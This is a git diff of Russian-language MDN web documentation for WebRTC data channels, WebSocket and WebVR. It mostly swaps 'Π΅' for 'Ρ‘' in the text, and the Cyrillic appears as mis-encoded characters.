ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ слСдуСт Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.Β Π­Ρ‚ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Firefox 57, Π½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). Π‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ EOR полСзная Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° <code>RTCDataChannel</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС (ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΄ΠΎ 256 ΠšΠ‘, Π½ΠΎ рСализация Firefox ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ… ΠΊΠΎΠ»ΠΎΡΡΠ°Π»ΡŒΠ½Ρ‹ΠΌ 1 Π“Π‘).Β Π”Π°ΠΆΠ΅ ΠΏΡ€ΠΈ 256 ΠΊΠ‘ этого достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Π΅ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ срочного Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°.</p>
+<p>Π­Ρ‚ΠΎ станСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ стандарт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… сообщСний - Ρ„Π»Π°Π³ ΠΊΠΎΠ½Ρ†Π° записи (EOR), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° сообщСниС являСтся послСдним Π² сСрии, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ слСдуСт Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.Β Π­Ρ‚ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Firefox 57, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). Π‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ EOR полСзная Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° <code>RTCDataChannel</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС (ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΄ΠΎ 256 ΠšΠ‘, Π½ΠΎ рСализация Firefox ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ… ΠΊΠΎΠ»ΠΎΡΡΠ°Π»ΡŒΠ½Ρ‹ΠΌ 1 Π“Π‘).Β Π”Π°ΠΆΠ΅ ΠΏΡ€ΠΈ 256 ΠΊΠ‘ этого достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Π΅ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ срочного Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° новая систСма ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠΎΠ² ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ называСмая «спСцификациСй Π΄Π°Π½Π½Ρ‹Ρ… SCTPΒ»), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Ρ‡Π΅Ρ€Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ сообщСния, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΡ‚ΠΎΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… WebRTC.Β Π­Ρ‚ΠΎ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅</a> всС Π΅Ρ‰Π΅ находится Π² Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ IETF, Π½ΠΎ послС Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠ½ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния практичСски Π±Π΅Π· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ SCTP автоматичСски Ρ‡Π΅Ρ€Π΅Π΄ΡƒΠ΅Ρ‚ Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС ΠΏΠΎΠ΄-сообщСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π°.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Π±Ρ‹Π»Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° новая систСма ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠΎΠ² ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ называСмая «спСцификациСй Π΄Π°Π½Π½Ρ‹Ρ… SCTPΒ»), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Ρ‡Π΅Ρ€Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ сообщСния, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΡ‚ΠΎΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… WebRTC.Β Π­Ρ‚ΠΎ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅</a> всС Π΅Ρ‰Ρ‘ находится Π² Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ IETF, Π½ΠΎ послС Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠ½ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния практичСски Π±Π΅Π· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ SCTP автоматичСски Ρ‡Π΅Ρ€Π΅Π΄ΡƒΠ΅Ρ‚ Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС ΠΏΠΎΠ΄-сообщСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π°.</p>
<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Firefox для ndata находится Π² процСссС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.Β <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Команда Chrome отслСТиваСт Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ndata Π²</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Β </span><a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696" style="font-size: 1rem; letter-spacing: -0.00278rem;">Chrome Bug 5696</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html
index 2d53a55c5c..4cc3326a7f 100644
--- a/files/ru/web/api/websocket/index.html
+++ b/files/ru/web/api/websocket/index.html
@@ -69,7 +69,7 @@ WebSocket WebSocket(
<tr>
<td><code>bufferedAmount</code></td>
<td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td>
- <td>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Π±Π°ΠΉΡ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ поставлСны Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Ρ‹Π·ΠΎΠ²Ρ‹ {{ manch("send") }}, Π½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² ΡΠ΅Ρ‚ΡŒ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ сбрасываСтся Π² ноль, ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ соСдинСния; Ссли ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΒ  {{ manch("send") }}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ расти. <strong>Волько Ρ‡Ρ‚Π΅Π½ΠΈΠ΅.</strong></td>
+ <td>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Π±Π°ΠΉΡ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ поставлСны Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Ρ‹Π·ΠΎΠ²Ρ‹ {{ manch("send") }}, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² ΡΠ΅Ρ‚ΡŒ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ сбрасываСтся Π² ноль, ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ соСдинСния; Ссли ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΒ  {{ manch("send") }}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ расти. <strong>Волько Ρ‡Ρ‚Π΅Π½ΠΈΠ΅.</strong></td>
</tr>
<tr>
<td><code>extensions</code></td>
@@ -178,7 +178,7 @@ WebSocket WebSocket(
<dl>
<dt><code>code</code> {{ optional_inline() }}</dt>
- <dd>ЧисловоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ статус-ΠΊΠΎΠ΄, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΎ. Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 1000(ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "ΠΎΠ±ΠΌΠ΅Π½ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½"). Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ значСния.</dd>
+ <dd>ЧисловоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ статус-ΠΊΠΎΠ΄, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΎ. Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 1000(ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "ΠΎΠ±ΠΌΠ΅Π½ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½"). Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ значСния.</dd>
<dt><code>reason</code> {{ optional_inline() }}</dt>
<dd>ЧитаСмая Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ строка, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π°Ρ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ закрываСтся. Π‘Ρ‚Ρ€ΠΎΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π΄Π»ΠΈΠ½Π½Π΅Π΅, Ρ‡Π΅ΠΌ 123 Π±Π°ΠΉΡ‚Π° UTF-8 тСкста (<strong>Π½Π΅</strong> символов).Β </dd>
</dl>
@@ -198,7 +198,7 @@ WebSocket WebSocket(
<h3 id="send" name="send()">send()</h3>
-<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр Ρ‡Π΅Ρ€Π΅Π· WebSocket - соСдинСниС.</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр Ρ‡Π΅Ρ€Π΅Π· WebSocket - соСдинСниС.</p>
<pre class="eval">void send(
in DOMString data
@@ -224,7 +224,7 @@ void send(
<dl>
<dt><code>INVALID_STATE_ERR</code></dt>
- <dd>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ.</dd>
+ <dd>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ.</dd>
<dt><code>SYNTAX_ERR</code></dt>
<dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°Β <code>data</code> содСрТит Π½Π΅ΠΏΠ°Ρ€Π½Ρ‹Π΅ суррогаты</dd>
</dl>
@@ -252,7 +252,7 @@ void send(
<h2 id="See_also" name="See_also">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<pre class="brush: js"><code>// Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ WebSocket - ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.
+<pre class="brush: js"><code>// Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ WebSocket - ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.
const socket = new WebSocket('ws://localhost:8080');
// Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ
diff --git a/files/ru/web/api/websockets_api/index.html b/files/ru/web/api/websockets_api/index.html
index 7b0156b5a7..83672bc3d4 100644
--- a/files/ru/web/api/websockets_api/index.html
+++ b/files/ru/web/api/websockets_api/index.html
@@ -10,7 +10,7 @@ tags:
translation_of: Web/API/WebSockets_API
original_slug: WebSockets
---
-<p><strong>Π’Π΅Π±-сокСты</strong> это продвинутая тСхнология, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ постоянноС Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ сСтСвоС соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ сСрвСром. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΅Π³ΠΎ API Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ сообщСниС Π½Π° сСрвСр ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π±Π΅Π· выполнСния http запроса, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ этот процСсс Π±ΡƒΠ΄Π΅Ρ‚ событийно-управляСмым.</p>
+<p><strong>Π’Π΅Π±-сокСты</strong> это продвинутая тСхнология, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ постоянноС Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ сСтСвоС соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ сСрвСром. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΅Π³ΠΎ API Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ сообщСниС Π½Π° сСрвСр ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π±Π΅Π· выполнСния http запроса, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ этот процСсс Π±ΡƒΠ΄Π΅Ρ‚ событийно-управляСмым.</p>
<div class="cleared row topicpage-table">
<div class="section">
diff --git a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
index d5729bf6a4..7a6e602c2c 100644
--- a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
+++ b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
@@ -58,7 +58,7 @@ WebSocket WebSocket(
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h3>
-<p>Π­Ρ‚ΠΎΡ‚ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт Π½ΠΎΠ²Ρ‹ΠΉ WebSocket, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΡ‹ΠΉ ΠΊ сСрвСру <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π² конструктор сокСта Π² качСствС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ парамСтра пСрСдаСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» "protocolOne", хотя эта Ρ‡Π°ΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡ‰Π΅Π½Π°.</p>
+<p>Π­Ρ‚ΠΎΡ‚ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт Π½ΠΎΠ²Ρ‹ΠΉ WebSocket, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΡ‹ΠΉ ΠΊ сСрвСру <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π² конструктор сокСта Π² качСствС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ парамСтра пСрСдаётся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» "protocolOne", хотя эта Ρ‡Π°ΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡ‰Π΅Π½Π°.</p>
<pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
</pre>
diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html
index e53532700d..a1dd13cbc9 100644
--- a/files/ru/web/api/webvr_api/index.html
+++ b/files/ru/web/api/webvr_api/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/WebVR_API
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_ΠΈ_использованиС">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ ΠΈ использованиС</h2>
-<p>Π›ΡŽΠ±Ρ‹Π΅ VR-устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ, Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{domxref("Navigator.getVRDisplays()")}}; ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСно  {{domxref("VRDisplay")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ.</p>
